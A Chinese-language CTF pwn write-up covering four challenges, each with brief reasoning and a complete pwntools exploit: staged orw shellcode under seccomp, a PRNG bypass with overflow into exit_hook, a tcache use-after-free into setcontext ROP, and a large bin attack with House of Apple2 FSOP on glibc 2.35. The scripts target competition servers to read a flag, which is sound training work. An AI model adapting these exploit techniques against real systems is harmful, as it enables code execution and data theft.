第二届黄河流域公安院校网络安全技能挑战赛 pwn wp

easy_shellcode

思路


开了沙箱


这里可以看到在0x600000处权限全开,然后可以直接执行写入buf的汇编
但是一开始只能执行7个字节的shellcode,所以需要先构造一个更大的read,以便写入更多

s(asm('xor eax, eax; push 0x60; pop rdx; syscall'))

这里rdi和rsi都不需要在设置了,所以直接将rax置0,然后将rdx的参数压栈就可以了
然后写orw_shellcode即可

orw_shellcode = asm('''
    push 0x67616c66
    mov rdi,rsp
    xor esi,esi
    push 2
    pop rax
    syscall
    mov rdi,rax
    mov rsi,rsp
    mov edx,0x30
    xor eax,eax
    syscall
    mov edi,1
    mov rsi,rsp
    push 1
    pop rax
    syscall
    ''')
s('a'*7+orw_shellcode)
itr()

exp

import os
import sys
import time
from pwn import *
from ctypes import *

context.os = 'linux'
context.log_level = "debug"

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']

x64_32 = 1

if x64_32:
    context.arch = 'amd64'
else:
    context.arch = 'i386'

#p=process('./pwn')
p=remote('47.98.236.4',5001)

def duan():
    gdb.attach(p)
    pause()

ru("Maybe you need to write some compilations\n")

s(asm('xor eax, eax; push 0x60; pop rdx; syscall'))

orw_shellcode = asm('''
    push 0x67616c66
    mov rdi,rsp
    xor esi,esi
    push 2
    pop rax
    syscall
    mov rdi,rax
    mov rsi,rsp
    mov edx,0x30
    xor eax,eax
    syscall
    mov edi,1
    mov rsi,rsp
    push 1
    pop rax
    syscall
    ''')
s('a'*7+orw_shellcode)
itr()

magic_write

思路


先是伪随机数绕过,然后gift泄露出来libc,后面read读入的地方有0xe字节的溢出

libcc.srand(libcc.time(0))
a = libcc.rand()%110
p.sendlineafter("please enter this challenge\n", str(a))


只有0xe直接的溢出,后面几位要改成\x00

pl='a'*0x28+'\xbd\x12\x40\x00\x00\x00'
s(pl)

然后进入magic函数


这里二级指针实现任意地址写
所以这里可以去打exit_hook
p &_rtld_global


把这个地址改成og就可以

exp

import os
import sys
import time
from pwn import *
from ctypes import *

context.os = 'linux'
context.log_level = "debug"

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']

x64_32 = 1

if x64_32:
    context.arch = 'amd64'
else:
    context.arch = 'i386'
p=remote('47.98.236.4',5002)
#p=process('./pwn')
elf = ELF('./pwn')
libc=ELF('./libc-2.31.so')
libcc = cdll.LoadLibrary('./libc-2.31.so')
libc = ELF('./libc-2.31.so')

def duan():
    gdb.attach(p)
    pause()


libcc.srand(libcc.time(0))
a = libcc.rand()%110

p.sendlineafter("please enter this challenge\n", str(a))

ru('Give you a gift\n')
libc_base=int(r(14),16)-libc.sym["puts"]

leak('libc_base ',libc_base)
_dl_rtld_unlock_recursive=libc_base+0x222f70
ogs=[0xe3afe,0xe3b01,0xe3b04]
og=libc_base+ogs[0]

ru('Come and try it out\n')
pl='a'*0x28+'\xbd\x12\x40\x00\x00\x00'
s(pl)
ru('Congratulations on completing a big step\n')
s(p64(_dl_rtld_unlock_recursive))
s(p64(og))


itr()

hard_heap

思路


4个功能都有,就还是加了个沙箱
所以就是2.31的uaf,开了沙箱,所以可以打setcontext

add(0,0x88,'aaaa')
add(1,0x88,'aaaa')
delete(1)
delete(0)
show(0)


heap_base=u64(p.recv(6)[-6:].ljust(8,'\x00'))-0x1040
leak('heap_base',heap_base)
edit(0,p64(heap_base+0x10))

add(2,0x88,'./flag\x00\x00')


pl=p64(0)*9+p64(0x07000000000000)
add(3,0x88,pl)

delete(3)
show(3)

libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x1ecbe0
leak('libc_base ',libc_base)
free_hook=libc_base+libc.sym['__free_hook']
setcontext=libc_base+libc.sym['setcontext']+61
magic_gadget=libc_base+0x0000000000151990
syscall= libc_base + libc.sym['read'] + 0x10
leak('setcontext ',setcontext)
pl=p64(0x0007000700070007)+p64(0x0007000700070007)+p64(0x0007000700070007)+p64(0)*13+p64(heap_base+0x90)
edit(3,pl)

pl=p64(heap_base)*2+p64(heap_base+0xa0)
add(4,0x18,pl)

pl=p64(heap_base+0xfb0)+p64(free_hook)+p64(heap_base+0x1000)+p64(heap_base+0x1080)+p64(heap_base+0x2000)+p64(heap_base+0x2070)
add(5,0x38,pl)

反复利用tcachebin的特性去设置一下链表


设置flag,然后free_hook改成magic_gadget,确定setcontext+61的位置,同时要满足magic_gadget的调用

add(6,0x48,p64(magic_gadget))
pl=p64(setcontext)+p64(heap_base+0x1000-0x20)
add(7,0x58,pl)

这样就能成功调用setcontext+61了

open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']

rdi = libc_base + 0x0000000000023b6a
rsi = libc_base + 0x000000000002601f
rdx = libc_base + 0x0000000000142c92
rax = libc_base + next(libc.search(asm('pop rax;ret;')))
rdx12 = libc_base + next(libc.search(asm('pop rdx;pop r12;ret;')))
ret = libc_base+0x0000000000022679
bss_addr = libc_base + libc.bss()+0x200


flag_addr = heap_base+0xfb0

orw = p64(rdi)+p64(flag_addr)
orw += p64(rsi)+p64(0)
orw += p64(rax)+p64(2)
orw += p64(syscall)
#read
orw += p64(rdi)+p64(0x3)
orw += p64(rsi)+p64(flag_addr)
orw += p64(rdx)+p64(0x30)
orw += p64(rax)+p64(0)
orw += p64(syscall)
#write
orw += p64(rdi)+p64(1)
orw += p64(rsi)+p64(flag_addr)
orw += p64(rdx)+p64(0x30)
orw += p64(rax)+p64(1)
orw += p64(syscall)

pl=orw
add(8,0x70,pl[:0x70])
add(9,0x80,pl[0x70:])

然后因为orw比较长,所以分开两次填入下图地址


设置一下setconte的调用

pl=p64(heap_base+0x2000)+p64(ret)
add(10,0x68,pl)


然后就直接delete就可以了

delete(7)

exp

import os
import sys
import time
from pwn import *
from ctypes import *

context.os = 'linux'
context.log_level = "debug"

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']

x64_32 = 1

if x64_32:
    context.arch = 'amd64'
else:
    context.arch = 'i386'

#p=remote("47.98.236.4",5003)
p=process('./pwn')
elf = ELF('./pwn')
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc=ELF('./libc.so.6')

add_idx = 1
delete_idx = 2
edit_idx = 3
show_idx = 4

def duan():
    gdb.attach(p)
    pause()

def choice(cho):
    sla('> \n',cho)

def add(idx,size,content):
    choice(add_idx)
    sla('Please enter yours Index: \n',idx)
    sla('Please enter yours Size: \n',size)
    sa('Please enter yours Content: \n',content)

def delete(idx):
    choice(delete_idx)
    sla('Please enter yours Index: \n',idx)

def show(idx):
    choice(show_idx)
    sla('Please enter yours Index: \n',idx)

def edit(idx,content):
    choice(edit_idx)
    sla('Please enter yours Index: \n',idx)
    sla('Please enter yours Content: \n',content)

def duan():
    gdb.attach(p)
    pause()



add(0,0x88,'aaaa')
add(1,0x88,'aaaa')
delete(1)
delete(0)
show(0)


heap_base=u64(p.recv(6)[-6:].ljust(8,'\x00'))-0x1040
leak('heap_base',heap_base)
edit(0,p64(heap_base+0x10))

add(2,0x88,'./flag\x00\x00')


pl=p64(0)*9+p64(0x07000000000000)
add(3,0x88,pl)

delete(3)
show(3)

libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x1ecbe0
leak('libc_base ',libc_base)
free_hook=libc_base+libc.sym['__free_hook']
setcontext=libc_base+libc.sym['setcontext']+61
magic_gadget=libc_base+0x0000000000151990
syscall= libc_base + libc.sym['read'] + 0x10
leak('setcontext ',setcontext)
pl=p64(0x0007000700070007)+p64(0x0007000700070007)+p64(0x0007000700070007)+p64(0)*13+p64(heap_base+0x90)
edit(3,pl)

pl=p64(heap_base)*2+p64(heap_base+0xa0)
add(4,0x18,pl)

pl=p64(heap_base+0xfb0)+p64(free_hook)+p64(heap_base+0x1000)+p64(heap_base+0x1080)+p64(heap_base+0x2000)+p64(heap_base+0x2070)
add(5,0x38,pl)

add(6,0x48,p64(magic_gadget))

pl=p64(setcontext)+p64(heap_base+0x1000-0x20)
add(7,0x58,pl)


open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']

rdi = libc_base + 0x0000000000023b6a
rsi = libc_base + 0x000000000002601f
rdx = libc_base + 0x0000000000142c92
rax = libc_base + next(libc.search(asm('pop rax;ret;')))
rdx12 = libc_base + next(libc.search(asm('pop rdx;pop r12;ret;')))
ret = libc_base+0x0000000000022679
bss_addr = libc_base + libc.bss()+0x200


flag_addr = heap_base+0xfb0

orw = p64(rdi)+p64(flag_addr)
orw += p64(rsi)+p64(0)
orw += p64(rax)+p64(2)
orw += p64(syscall)
#read
orw += p64(rdi)+p64(0x3)
orw += p64(rsi)+p64(flag_addr)
orw += p64(rdx)+p64(0x30)
orw += p64(rax)+p64(0)
orw += p64(syscall)
#write
orw += p64(rdi)+p64(1)
orw += p64(rsi)+p64(flag_addr)
orw += p64(rdx)+p64(0x30)
orw += p64(rax)+p64(1)
orw += p64(syscall)

pl=orw
add(8,0x70,pl[:0x70])
add(9,0x80,pl[0x70:])

pl=p64(heap_base+0x2000)+p64(ret)
add(10,0x68,pl)
delete(7)
leak('orw ',len(orw))
itr()

你能拿出来箱子里面的苹果吗

思路


稍微限制了一下add的大小(0x470-0x490),其他还是uaf,2.35版本的开了沙箱,直接打apple2就可以
先泄露libc和heap

add(0,0x490,'aaaa')
add(1,0x490,'aaaa')
delete(0)
show(0)

libc_base=u64(p.recv(6).ljust(8,'\x00'))-0x21ace0
leak('libc_base ',libc_base)

delete(1)

add(2,0x470,'cccc')
add(3,0x470,'cccc')

edit(0,'\x00'*0x470+p64(0)+p64(0x21))

delete(3)
show(3)

heap_base=u64(p.recv(5).ljust(8,b'\x00'))<<12
leak('heap_base ',heap_base)

然后就是正常的large bin attack的准备

add(4,0x480,'bbbb')
add(5,0x480,'bbbb')
add(6,0x470,'bbbb')
add(7,0x470,'bbbb')

delete(4)

add(8,0x490,'bbbb')
delete(6)


然后找一下地址

IO_list_all=libc.sym['_IO_list_all']+libc_base
free_hook=libc.sym['__free_hook']+libc_base
lock=libc_base+0x21ca60
wfile=libc_base+libc.sym['_IO_wfile_jumps'] 

pop_rdi = libc_base + next(libc.search(asm('pop rdi;ret;')))
pop_rsi = libc_base + next(libc.search(asm('pop rsi;ret;')))
pop_rdx_r12 = libc_base + next(libc.search(asm('pop rdx;pop r12;ret;')))
leave_ret = libc_base + next(libc.search(asm('leave;ret;')))

open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
puts_addr = libc_base + libc.sym['puts']

magic_gadget = libc_base + 0x16a06a

设置一下
然后找好偏移打板子就行

#open
orw=b'./flag\x00\x00'
orw+=p64(pop_rdx_r12)+p64(0)+p64(chunk0-0x10)
orw+=p64(pop_rdi)+p64(orw_addr)
orw+=p64(pop_rsi)+p64(0)
orw+=p64(open_addr)
#read
orw+=p64(pop_rdi)+p64(3)
orw+=p64(pop_rsi)+p64(orw_addr+0x100)
orw+=p64(pop_rdx_r12)+p64(0x50)+p64(0)
orw+=p64(read_addr)
#puts
orw+=p64(pop_rdi)+p64(orw_addr+0x100)
orw+=p64(puts_addr)

pl=p64(0)+p64(leave_ret)+p64(0)+p64(IO_list_all-0x20)
pl+=p64(0)*2+p64(0)+p64(orw_addr)
pl+=p64(0)*4
pl+=p64(0)*3+p64(lock)
pl+=p64(0)*2+p64(chunk0+0xe0)+p64(0)
pl+=p64(0)*4
pl+=p64(0)+p64(wfile) 
pl+=p64(0)*0x1c+p64(chunk0+0x1c8) 
pl+=p64(0)*0xd+p64(magic_gadget)
pl+=orw

leak('pl',len(pl))
edit(4,pl.ljust(0x480,'\x00'))


然后触发large bin attack

add(9,0x490,'bbbb')

_IO_list_all已经这时候指向了4b0的chunk,也就是这时候err以及变了


0xb90和0x4b0是相互链在一起的,所以把0x4b0申请出来,_IO_list_all就指向了我们构造的0xb90,然后就直接刷新就可以了

add(10,0x470,'aaaa')
sla('> \n','1')
sla('Please enter yours Index: \n',0x20)

得到flag

exp

import os
import sys
import time
from pwn import *
from ctypes import *

context.os = 'linux'
context.log_level = "debug"

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']

x64_32 = 1

if x64_32:
    context.arch = 'amd64'
else:
    context.arch = 'i386'

p=remote("47.98.236.4",5004)
#p=process('./pwn')
elf = ELF('./pwn')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
add_idx = 1
delete_idx = 2
edit_idx = 3
show_idx = 4

def duan():
    gdb.attach(p)
    pause()

def choice(cho):
    sla('> \n',cho)

def add(idx,size,content):
    choice(add_idx)
    sla('Please enter yours Index: \n',idx)
    sla('Please enter yours Size: \n',size)
    sa('Please enter yours Content: \n',content)

def delete(idx):
    choice(delete_idx)
    sla('Please enter yours Index: \n',idx)

def show(idx):
    choice(show_idx)
    sla('Please enter yours Index: \n',idx)

def edit(idx,content):
    choice(edit_idx)
    sla('Please enter yours Index: \n',idx)
    sla('Please enter yours Content: \n',content)

add(0,0x490,'aaaa')
add(1,0x490,'aaaa')
delete(0)
show(0)

libc_base=u64(p.recv(6).ljust(8,'\x00'))-0x21ace0
leak('libc_base ',libc_base)

delete(1)

add(2,0x470,'cccc')
add(3,0x470,'cccc')

edit(0,'\x00'*0x470+p64(0)+p64(0x21))

delete(3)
show(3)

heap_base=u64(p.recv(5).ljust(8,b'\x00'))<<12
leak('heap_base ',heap_base)

add(4,0x480,'bbbb')
add(5,0x480,'bbbb')
add(6,0x470,'bbbb')
add(7,0x470,'bbbb')

delete(4)

add(8,0x490,'bbbb')
delete(6)

IO_list_all=libc.sym['_IO_list_all']+libc_base
free_hook=libc.sym['__free_hook']+libc_base
lock=libc_base+0x21ca60
wfile=libc_base+libc.sym['_IO_wfile_jumps'] 

pop_rdi = libc_base + next(libc.search(asm('pop rdi;ret;')))
pop_rsi = libc_base + next(libc.search(asm('pop rsi;ret;')))
pop_rdx_r12 = libc_base + next(libc.search(asm('pop rdx;pop r12;ret;')))
leave_ret = libc_base + next(libc.search(asm('leave;ret;')))

open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
puts_addr = libc_base + libc.sym['puts']

magic_gadget = libc_base + 0x16a06a
chunk0=heap_base+0xb90
orw_addr = chunk0+0x238

#open
orw=b'./flag\x00\x00'
orw+=p64(pop_rdx_r12)+p64(0)+p64(chunk0-0x10)
orw+=p64(pop_rdi)+p64(orw_addr)
orw+=p64(pop_rsi)+p64(0)
orw+=p64(open_addr)
#read
orw+=p64(pop_rdi)+p64(3)
orw+=p64(pop_rsi)+p64(orw_addr+0x100)
orw+=p64(pop_rdx_r12)+p64(0x50)+p64(0)
orw+=p64(read_addr)
#puts
orw+=p64(pop_rdi)+p64(orw_addr+0x100)
orw+=p64(puts_addr)

pl=p64(0)+p64(leave_ret)+p64(0)+p64(IO_list_all-0x20)
pl+=p64(0)*2+p64(0)+p64(orw_addr)
pl+=p64(0)*4
pl+=p64(0)*3+p64(lock)
pl+=p64(0)*2+p64(chunk0+0xe0)+p64(0)
pl+=p64(0)*4
pl+=p64(0)+p64(wfile) 
pl+=p64(0)*0x1c+p64(chunk0+0x1c8) 
pl+=p64(0)*0xd+p64(magic_gadget)
pl+=orw

leak('pl',len(pl))
edit(4,pl.ljust(0x480,'\x00'))

add(9,0x490,'bbbb')
add(10,0x470,'aaaa')

sla('> \n','1')
sla('Please enter yours Index: \n',0x20)

itr()